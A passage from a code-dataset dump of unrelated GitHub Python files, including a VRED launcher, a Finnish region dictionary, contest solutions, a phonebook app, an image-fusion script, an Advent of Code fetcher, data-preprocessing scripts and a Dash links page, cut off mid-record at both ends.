self._is_supported(sw_version)\n\n            if supported:\n                supported_sw_versions.append(sw_version)\n            else:\n                self.logger.debug(\n                    \"SoftwareVersion %s is not supported: %s\" % (sw_version, reason)\n                )\n\n        return supported_sw_versions\n\n    @staticmethod\n    def _map_version_year(version):\n        try:\n            year = int(version[:2]) + 2008\n            return \"{0}{1}\".format(year, version[2:])\n        except Exception as e:\n            return version\n\n    def _find_software(self):\n        \"\"\"Find executables in the default install locations.\"\"\"\n\n        # all the executable templates for the current OS\n        executable_templates = self.EXECUTABLE_TEMPLATES.get(sys.platform, [])\n\n        # all the discovered executables\n        sw_versions = []\n\n        for executable_template in executable_templates:\n\n            self.logger.debug(\"Processing template %s.\", executable_template)\n\n            executable_matches = self._glob_and_match(\n                executable_template, self.COMPONENT_REGEX_LOOKUP\n            )\n\n            # Extract all code_names from that executable.\n            for (executable_path, key_dict) in executable_matches:\n\n                # extract the matched keys form the key_dict (default to None if\n                # not included)\n                version = key_dict.get(\"version\")\n                code_name = key_dict.get(\"code_name\")\n                executable_version = self._map_version_year(version)\n\n                sw_versions.append(\n                    SoftwareVersion(\n                        executable_version,\n                        \"VRED {0}\".format(code_name),\n                        executable_path,\n                        self._icon_from_executable(code_name),\n                    )\n                )\n\n        return sw_versions\n","repo_name":"loney-liu/tk-training","sub_path":"bundle_cache/app_store/tk-vred/v2.0.4/startup.py","file_name":"startup.py","file_ext":"py","file_size_in_byte":6852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11646019551","text":"REGIONS = {u'ad': u'Andorra',\n u'ae': u'Arabiemiirikunnat',\n u'af': u'Afganistan',\n u'ag': u'Antigua ja Barbuda',\n u'ai': u'Anguilla',\n u'al': u'Albania',\n u'am': u'Armenia',\n u'an': u'Alankomaiden Antillit',\n u'ao': u'Angola',\n u'aq': u'Antarktis',\n u'ar': u'Argentiina',\n u'as': u'Amerikan Samoa',\n u'at': u'It\\xe4valta',\n u'au': u'Australia',\n u'aw': u'Aruba',\n u'ax': u'Ahvenanmaa',\n u'az': u'Azerbaid\\u017ean',\n u'ba': u'Bosnia ja Hertsegovina',\n u'bb': u'Barbados',\n u'bd': u'Bangladesh',\n u'be': u'Belgia',\n u'bf': u'Burkina Faso',\n u'bg': u'Bulgaria',\n u'bh': u'Bahrain',\n u'bi': u'Burundi',\n u'bj': u'Benin',\n u'bl': u'Saint Barth\\\\u00e9lemy',\n u'bm': u'Bermuda',\n u'bn': u'Brunei',\n u'bo': u'Bolivia',\n u'br': u'Brasilia',\n u'bs': u'Bahama',\n u'bt': u'Bhutan',\n u'bv': u\"Bouvet'nsaari\",\n u'bw': u'Botswana',\n u'by': u'Valko-Ven\\xe4j\\xe4',\n u'bz': u'Belize',\n u'ca': u'Kanada',\n u'cc': u'Kookossaaret',\n u'cd': u'Kongon demokraattinen tasavalta',\n u'cf': u'Keski-Afrikan tasavalta',\n u'cg': u'Kongon tasavalta',\n u'ch': u'Sveitsi',\n u'ci': u'Norsunluurannikko',\n u'ck': u'Cookinsaaret',\n u'cl': u'Chile',\n u'cm': u'Kamerun',\n u'cn': u'Kiina',\n u'co': u'Kolumbia',\n u'cr': u'Costa Rica',\n u'cu': u'Kuuba',\n u'cv': u'Kap Verde',\n u'cx': u'Joulusaari',\n u'cy': u'Kypros',\n u'cz': u'T\\u0161ekki',\n u'de': u'Saksa',\n u'dj': u'Djibouti',\n u'dk': u'Tanska',\n u'dm': u'Dominica',\n u'do': u'Dominikaaninen tasavalta',\n u'dz': u'Algeria',\n u'ec': u'Ecuador',\n u'ee': u'Viro',\n u'eg': u'Egypti',\n u'eh': u'L\\xe4nsi-Sahara',\n u'er': u'Eritrea',\n u'es': u'Espanja',\n u'et': u'Etiopia',\n u'fi': u'Suomi',\n u'fj': u'Fid\\u017ei',\n u'fk': u'Falklandinsaaret (Malvinassaaret)',\n u'fm': u'Mikronesia',\n u'fo': u'F\\xe4rsaaret',\n u'fr': u'Ranska',\n u'ga': u'Gabon',\n u'gb': u'Yhdistynyt kuningaskunta',\n u'gd': u'Grenada',\n u'ge': u'Georgia',\n u'gf': u'Ranskan Guayana',\n u'gg': u'Guernsey',\n u'gh': u'Ghana',\n u'gi': u'Gibraltar',\n u'gl': u'Gr\\xf6nlanti',\n u'gm': u'Gambia',\n u'gn': u'Guinea',\n u'gp': u'Guadeloupe',\n u'gq': u'P\\xe4iv\\xe4ntasaajan Guinea',\n u'gr': u'Kreikka',\n u'gs': u'Etel\\xe4-Georgia ja Etel\\xe4iset Sandwichsaaret',\n u'gt': u'Guatemala',\n u'gu': u'Guam',\n u'gw': u'Guinea-Bissau',\n u'gy': u'Guyana',\n u'hk': u'Hongkong',\n u'hm': u'Heard ja McDonaldinsaaret',\n u'hn': u'Honduras',\n u'hr': u'kroatia',\n u'ht': u'Haiti',\n u'hu': u'Unkari',\n u'id': u'Indonesia',\n u'ie': u'Irlanti',\n u'il': u'Israel',\n u'im': u'Mansaari',\n u'in': u'Intia',\n u'io': u'Brittil\\xe4inen Intian valtameren alue',\n u'iq': u'Irak',\n u'ir': u'Iran',\n u'is': u'Islanti',\n u'it': u'Italia',\n u'je': u'Jersey',\n u'jm': u'Jamaika',\n u'jo': u'Jordania',\n u'jp': u'Japani',\n u'ke': u'Kenia',\n u'kg': u'Kirgisia',\n u'kh': u'Kambod\\u017ea',\n u'ki': u'Kiribati',\n u'km': u'Komorit',\n u'kn': u'Saint Kitts ja Nevis',\n u'kp': u'Pohjois-Korea',\n u'kr': u'Etel\\xe4-Korea',\n u'kw': u'Kuwait',\n u'ky': u'Caymansaaret',\n u'kz': u'Kazakstan',\n u'la': u'Laos',\n u'lb': u'Libanon',\n u'lc': u'Saint Lucia',\n u'li': u'Liechtenstein',\n u'lk': u'Sri Lanka',\n u'lr': u'Liberia',\n u'ls': u'Lesotho',\n u'lt': u'Liettua',\n u'lu': u'Luxemburg',\n u'lv': u'Latvia',\n u'ly': u'Libya',\n u'ma': u'Marokko',\n u'mc': u'Monaco',\n u'md': u'Moldovan tasavalta',\n u'me': u'Montenegro',\n u'mf': u'Saint Martin',\n u'mg': u'Madagascar',\n u'mh': u'Marshallinsaaret',\n u'mk': u'Entinen Jugoslavian tasavalta Makedonia',\n u'ml': u'Mali',\n u'mm': u'Myanmar',\n u'mn': u'Mongolia',\n u'mo': u'Macao',\n u'mp': u'Pohjois-Mariaanit',\n u'mq': u'Martinique',\n u'mr': u'Mauritania',\n u'ms': u'Montserrat',\n u'mt': u'Malta',\n u'mu': u'Mauritius',\n u'mv': u'Malediivit',\n u'mw': u'Malawi',\n u'mx': u'Meksiko',\n u'my': u'Malesia',\n u'mz': u'Mosambik',\n u'na': u'Namibia',\n u'nc': u'Uusi-Kaledonia',\n u'ne': u'Niger',\n u'nf': u'Norfolkinsaari',\n u'ng': u'Nigeria',\n u'ni': u'Nicaragua',\n u'nl': u'Alankomaat',\n u'no': u'Norja',\n u'np': u'Nepal',\n u'nr': u'Nauru',\n u'nu': u'Niue',\n u'nz': u'Uusi-Seelanti',\n u'om': u'Oman',\n u'pa': u'Panama',\n u'pe': u'Peru',\n u'pf': u'Ranskan Polynesia',\n u'pg': u'Papua-Uusi-Guinea',\n u'ph': u'Filippiinit',\n u'pk': u'Pakistan',\n u'pl': u'Puola',\n u'pm': u'Saint-Pierre ja Miquelon',\n u'pn': u'Pitcairn',\n u'pr': u'Puerto Rico',\n u'ps': u'Palestiina',\n u'pt': u'Portugali',\n u'pw': u'Palau',\n u'py': u'Paraguay',\n u'qa': u'Qatar',\n u're': u'R\\xe9union',\n u'ro': u'Romania',\n u'rs': u'Serbia',\n u'ru': u'Ven\\xe4j\\xe4',\n u'rw': u'Ruanda',\n u'sa': u'Saudi-Arabia',\n u'sb': u'Salomonsaaret',\n u'sc': u'Seychellit',\n u'sd': u'Sudan',\n u'se': u'Ruotsi',\n u'sg': u'Singapore',\n u'sh': u'Saint Helena',\n u'si': u'Slovenia',\n u'sj': u'Svalbard ja Jan Mayen',\n u'sk': u'Slovakia',\n u'sl': u'Sierra Leone',\n u'sm': u'San Marino',\n u'sn': u'Senegal',\n u'so': u'Somalia',\n u'sr': u'Suriname',\n u'st': u'S\\xe3o Tom\\xe9 ja Pr\\xedncipe',\n u'sv': u'El Salvador',\n u'sy': u'Syyria',\n u'sz': u'Swazimaa',\n u'tc': u'Turks- ja Caicossaaret',\n u'td': u'T\\u0161ad',\n u'tf': u'Ranskan etel\\xe4iset alueet',\n u'tg': u'Togo',\n u'th': u'Thaimaa',\n u'tj': u'Tad\\u017eikistan',\n u'tk': u'Tokelau',\n u'tl': u'It\\xe4-Timor',\n u'tm': u'Turkmenistan',\n u'tn': u'Tunisia',\n u'to': u'Tonga',\n u'tr': u'Turkki',\n u'tt': u'Trinidad ja Tobago',\n u'tv': u'Tuvalu',\n u'tw': u'Taiwan',\n u'tz': u'Tansania',\n u'ua': u'Ukraina',\n u'ug': u'Uganda',\n u'um': u'Yhdysvaltain pienet erillissaaret',\n u'us': u'Yhdysvallat',\n u'uy': u'Uruguay',\n u'uz': u'Uzbekistan',\n u'va': u'Vatikaani',\n u'vc': u'Saint Vincent ja Grenadiinit',\n u've': u'Venezuela',\n u'vg': u'Brittil\\xe4iset Neitsytsaaret',\n u'vi': u'Yhdysvaltain Neitsytsaaret',\n u'vn': u'Vietnam',\n u'vu': u'Vanuatu',\n u'wf': u'Wallis ja Futuna',\n u'ws': u'Samoa',\n u'ye': u'Jemen',\n u'yt': u'Mayotte',\n u'za': u'Etel\\xe4-Afrikka',\n u'zm': u'Sambia',\n u'zw': u'Zimbabwe'}","repo_name":"clouserw/marketplace-constants","sub_path":"mpconstants/regions/fi.py","file_name":"fi.py","file_ext":"py","file_size_in_byte":5736,"program_lang":"python","lang":"fa","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"10516577202","text":"ABX = input().split()\nA = int(ABX[0])\nB = int(ABX[1])\nX = int(ABX[2])\n\ndef calc(N):\n    return A*N + B*len(str(N))\n\n\nmaxN = 0\nresult = 0\n\n\nfor N in range(min(int((X-B*10)/A)-1,pow(10,9)),min(int((X)/A)+1,pow(10,9)+1)):\n    #print(N)\n    c = calc(N)\n    #print(\"maxN=\"+str(maxN)+\"c=\"+str(c))\n    if c < X:\n        if maxN<c:\n            maxN = c\n            result = N\n\nprint(result)\n\n\n\n","repo_name":"berotti3/competion","sub_path":"atcoder/2019/20191124C.py","file_name":"20191124C.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"5640355109","text":"#Write a phonebook app\n\nprint(\"\"\"\nElectronic Phone Book\n ====================\n 1. Look Up an Entry\n 2. Set an Entry\n 3. Delete an Entry\n 4. List All Entries\n 5. Quit\"\"\")\n\nphonebook_dict = {\n    \"Jazz\": \"334-584-2345\",\n    \"Igor\": \"857-485-2935\",\n    \"Melissa\": \"584-394-5857\",\n    \"Gregory\": \"382-129-8376\",\n    \"Trevor\": \"193-028-9135\"\n}\n\n\nchoice = input(\"What Do You Want to Do? (1 - 5)\\n\")\n\n# 1.When they look up, ask fo rthe person's name\nfor phonebook in str(choice):                        \n    if choice == 1:\n        look_up = input(\"What is the person's name?\")\n        print(\"Name: \" + str(look_up) + \" Phone Number: \" + str(phonebook_dict.get(look_up)) + \"\\nEntry stored for \" + look_up + \".\")\n\n# 2. Set an Entry - Prompt user for a name and phone number\n    elif choice == 2:\n        set_name = input(\"What is the name you are adding?\")\n        set_number = input(\"What is their phone number?\")\n        phonebook_dict[set_name] = set_number\n        print(\"Name: \" + str(set_name) + \"\\nPhone number: \" + str(set_number) + \"\\nEntry stored for \" + str(set_name) + \".\")\n\n# 3. Delete an Entry - Prompt for the Person's Name and Delete the given person\n    elif choice == 3:\n        del_name = input(\"What is the person's name?\")\n        del phonebook_dict[del_name]\n        print(\"Entry deleted for \" + str(del_name) + \".\")\n\n # 4. List All Entries - Print out Each Entry   \n    elif choice == 4:\n        print(phonebook_dict)\n\n# 5. Quit - Ends the Program\n    elif choice == 5:\n        print(\"Bye\")\n        break\n    \n    else:\n        print(\"Sorry that option does not exist.\")\n        break                                                     \n                                                                    \n\n\n","repo_name":"namaslay33/Python","sub_path":"phonebook.py","file_name":"phonebook.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"34093464303","text":"import os\nimport numpy as np\nfrom nets.sesf_net import SESF_Fuse\n\n# from repos.SESF-Fuse-master.nets import SESF_Fuse\n# Initialize SESF_Fuse in one environment, and then run the code at the second environment\n\n\nimport cv2  # opencv-python\nimg1 = cv2.imread('../images/image1.png')\nimg2 = cv2.imread('../images/image2.png')\nimg3 = cv2.imread('../images/image3.png')\n\nsesf = SESF_Fuse(\"cse\")\n\n\n# save image?\n\n# Finds the contour for one image\ncommand = \"cd {} && python3 {} -i {} -o {} -prep bbd-fastrcnn -postp rtb-bnb -m basnet\".format(\n    '../repos/image-background-remove-tool-master', \"main.py\", fused_image, '../output/image1.png')\n\nimg_4ch = cv2.imread(path_to_png, cv2.IMREAD_UNCHANGED)\nalpha = img_4ch[..., -1]\nthr = cv2.threshold\n\nos.system(command)\n\nim = cv2.imread(fused_image)\n\nimgray = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY)  # color normalization\n\nret, thresh = cv2.threshold(imgray, 127, 255, 0)  # set threshold\n\ncontours, hierarchy = cv2.findContours(\n    thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)  # find contours\n\n\ndef findCenter(img):\n    print(img.shape, img.dtype)\n    gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n    th, threshed = cv2.threshold(\n        gray, 127, 255, cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)\n    cnts = cv2.findContours(threshed, cv2.RETR_EXTERNAL,\n                            cv2.CHAIN_APPROX_SIMPLE)[-2]\n    M = cv2.moments(cnts[0])\n    cX = int(M[\"m10\"] / M[\"m00\"])\n    cY = int(M[\"m01\"] / M[\"m00\"])\n    return (cX, cY)\n\n\nimg1 = cv2.imread(\"img1.jpg\")\nimg2 = cv2.resize(cv2.imread(\"img2.jpg\"), None, fx=0.3, fy=0.3)\n\n# Find centers\npt1 = findCenter(img1)\npt2 = findCenter(img2)\n\n# Calculate the shift between centers\ndx = pt1[0] - pt2[0]\ndy = pt1[1] - pt2[1]\n\n\ndef get_box_points(img):\n    contours, _ = cv2.findContours(img.astype(\n        np.uint8), cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n\n    cnt = contours[0]\n    rect = cv2.minAreaRect(cnt)\n    box_points = cv2.boxPoints(rect)\n    box_points = np.int0(box_points)\n    # increase the shape by 20%\n    return box_points\n\n\nimg_box_points = get_box_points(img1)\nimg_paper_box_points = get_box_points(img2)\n\n# Affine transformation matrix\nM = cv2.getAffineTransform(img_box_points[0:3].astype(\n    np.float32), img_paper_box_points[0:3].astype(np.float32))\n\n# apply M to the original binary image\nimg_registered = cv2.warpAffine(img1.astype(np.float32), M, dsize=(\n    img2.shape[1], img2.shape[0]))\n\n# get the difference\ndif = img_registered-img2\n\n# remove minus values\ndif[dif < 1] = 0\n\n# Center both images\nh, w = img2.shape[:2]\n\ndst = img1.copy()\ndst[dy:dy+h, dx:dx+w] = img2\n\n\n# fuses two images\ndef fuse_images(img1, img2, img3):\n    imgs = []\n    first = sesf.fuse(img1, img2)\n    second = sesf.fuse(first, img3)\n    return second\n\n\nfused_image = fuse_images(img1, img2, img3)\n","repo_name":"huybq26/Fuse-Images-With-Different-Focuses","sub_path":"sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":2786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"31756203881","text":"import sys\n\nsys.stdin = open(\"7th\\\\input.txt\", \"r\")\n\nt = int(input())\n\nfor test_case in range(1,t+1):\n    n = int(input())\n    i_str_list = [None for _ in range(n)]\n    i_num_list = [None for _ in range(n)]\n    \n    for i in range(n):\n        c1, c2 = input().split()\n        i_str_list[i] = c1\n        n_c2 = int(c2)\n        i_num_list[i] = n_c2\n    \n    print(f'#{test_case}')\n\n    o_str_list = []\n    k=0 # 입력 문자리스트 인덱스 겸 숫자리스트 인덱스\n    j=0 # 출력 문자리스트 인덱스\n    while True  :\n        if i_num_list[n-1] == 0:\n            break\n\n        if len(o_str_list) == 10 :\n            print(\"\".join(o_str_list))\n            o_str_list = []\n\n        if i_num_list[k] == 0 :\n            k += 1\n\n        o_str_list.append(i_str_list[k])\n        i_num_list[k] -= 1\n        j += 1\n    print(\"\".join(o_str_list))\n\n\n# 입력 받는 방법: \n \n# 문자를 입력 받을 n칸 짜리 리스트을 생성, 숫자를 입력 받을 n칸짜리 리스트를 생성한다. \n\n# 문자와 숫자를 빈칸을 구분자로 하여 입력 받는다. N번 반복한다.\n\n# 출력 받는 방법\n\n# 출력할 출력 문자열을 담을 10칸 짜리 리스트를 생성한다.\n\n# 입력 받은 문자 리스트의 맨 앞에 문자를 출력 문자열에 담는다. 입력받은 문자 리스트의 상대적 위치와 같은 위치에 있는 숫자 리스트의 값을 1감소 시킨다. \n\n# 숫자 리스트에 있는 값이 0 이 되거나 출력 문자열이 가득찰 때까지 반복한다. \n\n# 1. 숫자 리스트에 있는 값이 0 이 된 경우: 입력 문자 리스트의 다음으로 이동하여 반복한다.\n\n# 2. 출력 리스트가 가득찬 경우: 출력 문자열을 출력하고, 출력 문자열을 비운다.(or 새로 생성한다.)\n\n# 반복 중에 입력 문자 리스트의 마지막 문자에 대한 숫자 리스트 값이 0 이되면 출력 문자열을 출력하고 프로그램을 종료한다.","repo_name":"enicode/coding-study","sub_path":"7th/압축.py","file_name":"압축.py","file_ext":"py","file_size_in_byte":1949,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"18341112100","text":"#!/usr/bin/env python3\nimport sys\nimport requests\nfrom os import path\n\nRUST_DAY_TEMPLATE = \"\"\"use std::fmt::Write;\n\npub fn part1(lines: &[&str], out: &mut String) {\n    let result = lines.len();\n\n    write!(out, \"{}\", result).unwrap();\n}\n\npub fn part2(lines: &[&str], out: &mut String) {\n    let result = lines.len();\n\n    write!(out, \"{}\", result).unwrap();\n}\n\"\"\"\n\ndef build_day_txt(day):\n    with open('session.txt', 'r') as file:\n        cookies = {'session': file.read().strip()}\n    data = requests.get('https://adventofcode.com/2021/day/'+str(day)+'/input', cookies=cookies)\n    with open('data/day'+str(day)+'.txt', 'w') as file:\n        file.write(data.text.strip())\n\ndef build_day_rs_if_not_exist(day):\n    src_path = 'src/day'+str(day)+'.rs'\n    if path.exists(src_path):\n        return\n    with open(src_path, 'w') as file:\n        file.write(RUST_DAY_TEMPLATE)\n\ndef main():\n    try:\n        day = int(sys.argv[-1])\n    except:\n        day = 0\n\n    if day >= 1 and day <= 25:\n        build_day_txt(day)\n        build_day_rs_if_not_exist(day)\n    else:\n        print(\"Usage:\")\n        print(\"  ./get.py [day]\")\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"jaburns/advent-of-code","sub_path":"2021/get.py","file_name":"get.py","file_ext":"py","file_size_in_byte":1160,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"21603336886","text":"from gearbox.migrations import Migration\n\nclass AddTableMenuText(Migration):\n\n    database = \"common\"\n\n    def up(self):\n        t = self.table('MenuText', area=\"Sta_Data_128\", label=\"Menu Texts\", dump_name=\"menutext\", desc=\"Menu texts\")\n        t.column('MenuNum', 'integer', mandatory=True, format=\"ZZZ9\", initial=\"0\", max_width=4, label=\"MenuNo\", column_label=\"MenuNo\", position=2, order=10, help=\"Number of menu\")\n        t.column('MenuText', 'character', format=\"x(16)\", initial=\"\", max_width=32, label=\"MenuTxt\", column_label=\"MenuTxt\", position=3, order=20, help=\"Menu's text\")\n        t.index('MenuNum', [['MenuNum']], area=\"Sta_Index_2\", primary=True, unique=True)\n        t.index('MenuText', [['MenuText']], area=\"Sta_Index_2\")\n\n    def down(self):\n        self.drop_table('MenuText')\n","repo_name":"subi17/ccbs_new","sub_path":"db/progress/migrations/0227_add_table_common_menutext.py","file_name":"0227_add_table_common_menutext.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22844102073","text":"# -*- coding: utf-8 -*-\n\nimport pymongo\nimport Stemmer\nimport operator\nimport pandas as pd\n\nfrom collections import Counter\nfrom pprint import pprint\n\n\nstemmer = Stemmer.Stemmer('spanish')\ndb = pymongo.MongoClient().opendataday\n\n# print stemmer.stemWords(['camionero','camiones','camion','camionera'])\n\ndef normalize_words(desc):\n    words = desc.split(\" \")\n    return [s.encode('ascii', 'ignore').decode('ascii').lower() for s in words]\n\n\ndef steam_odd_collection():\n    doc = db.contrataciones.aggregate([\n        {\n          \"$match\": {\n            \"records.compiledRelease.tender.description\": {\"$exists\": True},\n            \"records.compiledRelease.tender.status\": \"complete\"\n          }\n        },\n        {\n          \"$group\":{ \"_id\":\"$records.compiledRelease.tender.description\" }\n        }\n      ])\n\n    all_words = []\n    for d in doc:\n        # all_words += stemmer.stemWords( normalize_words(d[\"_id\"][0]) )\n        all_words += normalize_words(d[\"_id\"][0])\n    word_count = Counter(all_words)\n    word_count_sorted = sorted( word_count.items(), key=operator.itemgetter(1) )\n    pprint( word_count_sorted )\n\nif __name__ == '__main__':\n    steam_odd_collection()\n","repo_name":"Freakisimo/data_expedition","sub_path":"word_stem.py","file_name":"word_stem.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"30014735539","text":"import pandas as pd\nfrom pathlib import Path  \nfilepath = Path('output/out.csv')  \nfilepath.parent.mkdir(parents=True, exist_ok=True)  \n\nplayer_df = pd.read_csv(\"./input/data.csv\")\nlist_preimer_league = [\"Bournemouth,\", \"Arsenal,\", \"Aston Villa,\", \"Brentford,\", \"Brighton,\", \"Chelsea,\", \"Crystal Palace,\", \"Everton,\", \"Fulham,\",\n                       \"Leeds,\", \"Leicester,\", \"Liverpool,\", \"Man City,\", \"Man Utd,\", \"Newcastle,\", \"Nottingham Forest,\", \"Southampton,\", \"Tottenham,\", \"West Ham,\", \"Wolves,\"]\nlist_ligue1 = [\"AC Ajaccio,\", \"Auxerre,\", \"Angers,\", \"Monaco,\", \"Clermont Foot,\", \"Troyes,\", \"Lorient,\", \"Nantes,\", \"Lille,\",\n               \"Montpellier,\", \"Nice,\", \"Marseille,\", \"Lyon,\", \"PSG,\", \"Lens,\", \"Strasbourg,\", \"Brest,\", \"Reims,\", \"Rennes,\", \"Toulouse,\"]\nlist_bundesliga = [\"Eintracht Frankfurt,\", \"Augsburg,\", \"Leverkusen,\", \"Bayern,\", \"Bochum,\", \"Borussia Dortmund,\", \"Borussia M.Gladbach,\", \"Freiburg,\",\n                   \"Hertha Berlin,\", \"Hoffenheim,\", \"FC Koln,\", \"RBL,\", \"Mainz,\", \"Schalke,\", \"Stuttgart,\", \"Union Berlin,\", \"Werder Bremen,\", \"Wolfsburg,\"]\nlist_serieA = [\"Napoli,\", \"Juventus,\", \"AC Milan,\", \"Inter,\", \"Lazio,\", \"Atalanta,\", \"Roma,\", \"Udinese,\", \"Fiorentina,\", \"Torino,\",\n               \"Lecce,\", \"Bologna,\", \"Empoli,\", \"Salernitana,\", \"Monza,\", \"Sassuolo,\", \"Spezia,\", \"Verona,\", \"Sampdoria,\", \"Cremonese,\"]\nlist_la_liga = [\"Villarreal,\", \"Barcelona,\", \"Real Madrid,\", \"Real Sociedad,\", \"Real Betis,\", \"Atletico,\", \"Athletic Bilbao,\", \"Osasuna,\", \"Rayo Vallecano,\",\n                \"Mallorca,\", \"Valencia,\", \"Girona,\", \"Getafe,\", \"Almeria,\", \"Real Valladolid,\", \"Celta Vigo,\", \"Sevilla,\", \"Cadiz,\", \"Espanyol,\", \"Elche,\"]\nlist_test = list_bundesliga + list_la_liga + list_ligue1 + list_preimer_league + list_serieA\nplayer_df.insert(3, \"league\", [\"test\"] * 1446)\n\nfor i in range(player_df.shape[0]):\n    if player_df.loc[i]['team'] in list_preimer_league:\n        player_df.at[i, 'league'] = \"Premier League\"\n    if player_df.loc[i]['team'] in list_la_liga:\n        player_df.at[i, 'league'] = \"La Liga\"\n    if player_df.loc[i]['team'] in list_ligue1:\n        player_df.at[i, 'league'] = \"Ligue 1\"\n    if player_df.loc[i]['team'] in list_bundesliga:\n        player_df.at[i, 'league'] = \"Bundesliga\"\n    if player_df.loc[i]['team'] in list_serieA:\n        player_df.at[i, 'league'] = \"Serie A\"\nplayer_df.to_csv(filepath)\n","repo_name":"NguyenDuy-Tien/FootballAnalytics","sub_path":"EDA/Test/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":2359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42367008528","text":"#!/usr/bin/env python3\r\n#Author: alexis.nuviedo@gmail.com\r\n#License: GNU GPL 3.0.\r\n#No warranty or liability assumed irrelevant of thermonuclear wars or lack thereof.\r\n\r\nimport matplotlib.pyplot as plt\r\n\r\nN=100\r\n\r\nfig, ax=plt.subplots()\r\n\r\nfor x0 in range(1):\r\n    for a in range(1):\r\n        for b in range(5):\r\n            X=[]\r\n            x=x0+1\r\n            X.append(x)\r\n            for i in range(N):\r\n                x=(1/(b+1))*x+a+1\r\n                X.append(x)\r\n            ax.plot(X,linewidth=2.0)\r\n\r\n#plt.legend()\r\nplt.show()\r\n","repo_name":"giccunam/dynamicsystems2022","sub_path":"nuviedo/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"17008986351","text":"import dash_core_components as dcc\nimport dash_html_components as html\nimport dash_bootstrap_components as dbc\n\nlayout = dbc.Container([\n    html.Br(),\n    \n    html.H4('Dataset (an account is required to download)'),\n    html.Ul(\n        html.Li(\n            dcc.Link('Pew Research Center, American Trends Panel 42', \n                     href='https://www.pewresearch.org/science/dataset/american-trends-panel-wave-42/',\n                     target='_blank')\n        )\n    ),\n    \n    html.Hr(),\n    \n    html.H4('Releases from this survey'),\n    html.Ul([\n        html.Li(\n            dcc.Link('Most Americans are wary of industry-funded research', \n                     href='https://tinyurl.com/y2ywl8l3',\n                     target='_blank')\n        ),\n        \n        html.Li(\n            dcc.Link('Most Americans say science has brought benefits to society and expect more to come',\n                     href='https://tinyurl.com/yyzojwqw',\n                     target='_blank')\n        ),\n        \n        html.Li(\n            dcc.Link('Most Americans have positive image of research scientists, but fewer see them as good communicators', \n                     href='https://tinyurl.com/y6bngclv',\n                     target='_blank')\n        ),\n        \n        html.Li(\n            dcc.Link('Democrats and Republicans differ over role and value of scientists in policy debates',\n                     href='https://tinyurl.com/yct9ep43',\n                     target='_blank')\n        ),\n        \n        html.Li(\n            dcc.Link('5 key findings about public trust in scientists in the U.S.',\n                     href='https://tinyurl.com/yxqc7ezb',\n                     target='_blank')\n        ),\n        \n        html.Li(\n            dcc.Link('Science knowledge varies by race and ethnicity in U.S.',\n                     href='https://tinyurl.com/yxmdobwj',\n                     target='_blank')\n        ),\n        \n        html.Li(\n            dcc.Link('Trust and mistrust in Americans\\' view of scientific experts',\n                     href='https://tinyurl.com/y5yrplfr',\n                     target='_blank')\n        ),\n        \n        html.Li(\n            dcc.Link('What Americans know about science',\n                     href='https://tinyurl.com/y33n2bof',\n                     target='_blank')\n        ),\n\n        html.Hr(),\n        \n        html.Li(\n            dcc.Link('Github Repository',\n                     href='https://github.com/jjostes/Pew-Data-Dashboard',\n                     target='_blank')\n        )\n        \n    ])\n\n])","repo_name":"jjostes/Pew-Data-Dashboard","sub_path":"apps/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":2568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"13435318778","text":"#import pandas as pd\nimport pickle\nimport json\nimport numpy as np\nimport math\n\ndef findClassLabel():\n    outfile = \"pClass.npy\"\n    pClass = np.load(outfile)\n\n    outfile = \"featureLabel.npy\"\n    featureLabel = np.load(outfile)\n\n    a = 0\n\n    with open('testPair.json') as fh:\n        a = json.load(fh)\n\n    print(len(a))\n    totalElements = 0\n    correctItems = 0\n\n\n    confusionMat = np.zeros((2,2))\n    testClassValues = np.zeros(2)\n\n    findClass = np.zeros(2)\n\n\n\n    for element in a:\n\n        totalElements = totalElements + 1\n        matVal = element[0]\n\n        for iClass in range(0,2):\n            findClass[iClass] = math.log(pClass[iClass])\n\n        for i in range(0, len(matVal)):\n            for j in range(0, len(matVal[i])):\n                valToAdd = i * 10 + j\n                if matVal[i][j] == \" \":\n                    for kClass in range(0,2):\n                        findClass[kClass] += math.log(featureLabel[kClass][valToAdd][0])\n                else:\n                    for kClass in range(0,2):\n                        findClass[kClass] += math.log(featureLabel[kClass][valToAdd][1])\n\n        classified = np.argmax(findClass)\n\n        if classified == int(element[1]):\n            correctItems += 1\n\n        testClassValues[int(element[1])] += 1\n        confusionMat[int(element[1])][classified] += 1\n\n    for j in range(0,testClassValues.shape[0]):\n        confusionMat[j] = confusionMat[j]*100/testClassValues[j] \n\n\n    print(float(correctItems)/totalElements)\n    print(confusionMat)\n\ndef naiveBayes(a):\n    pClass = np.zeros(2)\n\n    featureLabel = np.zeros((2, 250, 2))\n\n    totalElements = 0\n    for element in a:\n        